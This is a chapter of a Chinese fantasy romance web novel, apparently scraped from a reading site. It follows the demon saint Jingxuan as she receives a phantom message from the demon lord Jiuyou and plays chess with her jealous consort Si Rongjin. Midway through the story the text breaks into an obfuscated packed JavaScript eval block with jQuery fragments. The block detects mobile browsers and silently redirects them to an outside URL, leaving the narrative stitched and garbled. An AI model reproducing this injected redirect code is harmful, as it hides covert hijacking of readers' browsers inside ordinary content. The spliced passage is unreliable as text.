19. 镂空金丝蚕衣

作品:《成了爱人的宿敌怎么破

    送走楚栖云和慧娘之后,圣子殿便来了一位不速之客,鳞素门都没敲,大摇大摆走进来,见着镜玄笑吟吟道:“殿下,许久未见啊。”


    镜玄一看这人便有些头疼,左护法鳞素,最不擅长打交道的人里他能排前三。


    她挥挥手让侍女们退下,等人都走完了,才不耐烦地对鳞素道:“您老人家无事不登三宝殿,有什么事直接说吧。”


    “殿下怎这么想,真让我伤心,不过这回我确实带了任务来。”鳞素勾起唇,倚在靠背上,轻轻抿了一口茶,镜玄看了他一眼,鳞素才直起身子,从袖子里掏出一个圆润的黑珠。


    镜玄一见它脸色便庄重起来,她用眼神询问鳞素,他要见我?


    鳞素没吭声,指指它示意她赶紧打开,那位大爷从他伸手的那一刻便能察觉一切,再耽搁下去,他好不耐烦了。


    镜玄捋了捋衣襟,稍微整理了下形象才用魔力将那一块黑珠撞裂,黑珠是个奇物,破碎时的光晕像极了五光十色琉璃,从那碎片里一跃而出个幻影,看不清脸只模糊高大的身形,周深散发着寒气,戾气深重仿若魔神降世,屋外的鸟儿纷纷尖叫离去。


    “九幽大人。”鳞素收起吊儿郎当的模样,恭恭敬敬对一抹幻影行礼。


    九幽正在闭关,来的这个不过是幻影,他这些年的修为愈发深厚,性情也变得捉摸不透,镜玄在他面前得打起十二分精神。


    “玄儿外出多时,战局混乱你可曾受伤?”九幽无视鳞素,视线压在镜玄身上,语气虽关切却没露出一点担心的意思,显然是托词。


    镜玄心中明了,赶忙道:“孩儿并未受伤,在荆峰中了仙门的圈套实属意外,让我军士气受损,孩儿难逃其咎,请大人责罚!”


    九幽态度模糊不清,不说好也不说不好,看着面前战战兢兢的二人,他反倒谈起了另一件事。


    “此战之前我赠给你的魔源吸收得怎么样了?”


    镜玄皱眉,虽不明白九幽的用意,但还是一五一十地回答;“吸收得差不多了,最多再三天便可完全掌握。”


    “好!”九幽展露笑颜,他负手而立,气质儒雅,略一思索道:“你这些日子不要做别的了,专心把魔源吸收,等我出关便再传给你一些,玄儿如此优秀,假以时日未必不能超过我啊。”


    “您说笑了。”镜玄微微一笑,暗自松了口气,身子放松了些,没想到九幽在这件事上并无多在意,之前的猜测就是错的,花玲珑的刁蛮只是打得九幽的名号,到底是谁在背后推波助澜?


    九幽似乎只来干这一件事,他话一说完身体便自动溃散成细小的尘埃,鳞素弯腰抚手将黑珠的碎片收好。


    “既然圣子不欢迎,那我就不在这讨人厌了。”他眼尾上挑,整个人透着股轻浮的气息,他踱步走到门前,朝镜玄摆摆手示意不用送了。


    镜玄乐得清闲,心安理得坐在椅子上看着他离开,对这个新上任的右护法她总是看不太明白,这人身上蒙着一层淡淡的雾,活得像水里捞月,真真假假掺着来,脸上总带三分笑,对谁都热络,看似好相处实则哪天有需要了,他就能面不改色地捅你一刀。


    镜玄漱了口,便去案台上坐着批文折,她垂着头,身上只批了一件外衣,身边侍女来来回回添了好几次茶,晚风带着凉意从窗口吹了进来,梅花轻颤,几欲垂落。


    慧娘端着煲汤走了进来,她轻手轻脚放在案台,响声不大却还是引起镜玄的注意,她眉梢微拧,见是慧娘才没有呵斥出声。


    镜玄揉了揉眉心,问道:“现在是几时了?”


    “戌时了殿下。”慧娘看着她,语气轻柔。


    镜玄看向窗外,只见一片漆黑如墨的夜色,她像是回想起什么,突然问道:“我是不是答应司容锦要去他那。”


    慧娘点点头,见镜玄起身,便明白她是要走了,拿了件结实的披风给她穿上,镜玄见她一脸担忧,便安抚地朝她笑:“慧娘去休息吧,我自己去就好。”


    “殿下注意不要太过劳累,棋什么时候下都好。”慧娘的眉眼被烛光染上一层暖意,叮嘱孩子一样的语气让镜玄心中一软,她弯了弯眼眸,朝她摆摆手,径直从门前的小路走去。


    绕过前廊,华亭,又走上石桥,跨过一片荷韵盎然,才到了司容锦住的松月阁,也怪不得司容锦想要争水榭阁,这路程着实远了些。


    镜玄拢了拢披风往前走去,寒冬腊月,檐角灯笼晃着斜斜的暖光,司容锦站在门前,见着她来了,便惊喜地快步走了过去。


    “怎么走过来了。”他笑盈盈问。


    “离家许久已不熟路,左右无事,不如说道看看。”镜玄看着司容锦,语气熟稔,她牵住他的手,只觉指尖一片冰凉,不免抱怨:“为何不进去等。”


    “想早点见到你,殿下”司容锦的眼眸亮堂堂地看着她,面对镜玄时,他总是毫无阴鸷,柔和地像一块打磨圆滑的鹅卵石。


    侍从簇拥着他们进了房内,室内点了红烛,还有一股奇异的香气,镜玄一进来便看见早已铺好的棋局,欣然坐在一旁端起黑子。


    二人落坐后,小翠端上一盘子香气扑鼻的糕点,放在棋盘旁,她对司容锦打趣道:“殿下,你都不知道我家公子为了准备这盘点心起得有多早。”


    “小翠!”司容锦用眼神瞪她,咬牙切齿:“我是不是把你惯坏了!”


    镜玄颇感意外地抬眼,视线落在司容锦羞恼的脸上,噗嗤一声笑了。


    她道: “我来你这下盘棋倒是连累你做许多额外的工作。”


    “我就乐意给你做。”司容锦笑容绵长,一边落子,一边意有所指道:“我是你的后妃,我不给你做,别人也会上赶着来,你最近不还新收了个美人,听说他很特别。”


    镜玄闻言抬头看了他一眼,以司容锦的性情提出这事,她便明白这小心眼的人是盯上楚栖云了。


    “别人不知道你还不懂吗,我不想要后宫也不喜欢妃子,用他有我的目的,你不要管。”镜玄笑意不达眼底,语气温柔却不容质疑。


    司容锦被她吃掉一颗白棋,忍不住皱皱眉,他陪伴镜玄百年有余,怎会听不懂她话里的警告,心中不免妒火中烧,楚栖云到底有什么好的。


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16432664|184019||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    他从不相信爱情这种事会发生在镜玄身上,这些年圣子殿里明里暗里不知塞了多少美人,他就没见镜玄对谁动心过,去哪一宫坐坐还真是坐坐,就连他也是因为别的才被镜玄看中,这人好似天生便冷心冷情,司容锦这一颗热心捂了她许久也看不见暖。


    司容锦不信镜玄喜欢楚栖云,那便是他有什么特别之处,他打定主意,改天要好好会会这个栖云公子。


    棋局只用一炷香的时间便结束了,镜玄一个能在战场上杀伐果决的人怎会被小小棋局所困,不过也算司容锦棋艺精湛,能困住她一炷香的时间。


    等司容锦最后一枚棋子走进穷途末路可怜兮兮地被她吞掉后,他有些泄气地倚在靠背上,轻轻叹了口气,绵长地说:“殿下太过分了,明知我比不过你还要常常来找我下棋。”


    镜玄笑道:“这府中谁人不知容锦公子琴棋双绝,若是让这等好手艺白白浪费,才是我的罪过。”


    红烛欲烧欲烈,烛泪垂挂烛壁,香气愈发浓烈,镜玄捂了下唇,硬生生憋回一个喷嚏,也不知是哪个调香师调出来的,闻这味道竟让人有些窝火。


    “巧言善辩,我说不过你。”司容锦用鼻音闷了一声,带着点撒娇的语气道:“殿下,下棋太无聊了,我们做点有意思的吧。”


    什么有意思的?她想问,但司容锦却逐步凑了上来,镜玄屈居在一个小小的藤椅上,司容锦曲膝在她两腿之间,脑袋毛茸茸地钻进她脖颈处,他眼角带着红痕,眼神懵懂澄澈,只看着你,便下意识让人软了心肠。


    手段炉火纯青,镜玄叹为观止,做的明明是下九流的事,偏偏却不让人觉得讨厌,真是高明。


    镜玄眼观鼻鼻观心就是不看他,司容锦有些急了,抿抿唇,索性一股脑豁出去了,不等到床上便脱了厚重的外衣,青绿色外袍一路褪到腿弯,镜玄能清楚地看见他里面的服饰。


    简直是大开眼界,世风日下,道德沦丧,镜玄一时都不知作何反应。


    司容锦一贯是个保守性子,这回属实是被楚栖云的事气糊涂了,为了笼络殿下,他特意去请教青楼花魁的驭人之术,最后的成果便是这件镂空金丝蚕衣。


    他穿着这身不成体统的衣裳羞得脸都红了,自己这回是把里子面子都丢干净,索性什么都不管了,他姿态放得很低,语气软得跟猫儿一样:“殿下,您疼疼我好不好。”


    宠冠六宫的容锦公子竟从没侍过寝说出去肯定没人相信,但事实确实如此,多年前镜玄炼化魔源意外走火入魔一股脑杀了圣子殿半数活人,当时跟他一起进宫的公子们几乎全死光了,他也差点死了,但幸运的是,在死之前司容锦侥幸把魔力传进镜玄经脉,让她短暂清醒过来。


    当时镜玄给了他两个选择,是留在这里过朝不保夕的日子还是活着出去给他自由,司容锦想都没想就选了第一个,他进宫就是因为镜玄,所以不管怎样都不会离开的。


    是祸也是福,司容锦仰仗这难得的缘分成了圣子殿里最特殊的那个公子,人的欲念贪婪不止更何论魔,他逐渐想要更多,不只是名分,他还想要实际的宠爱。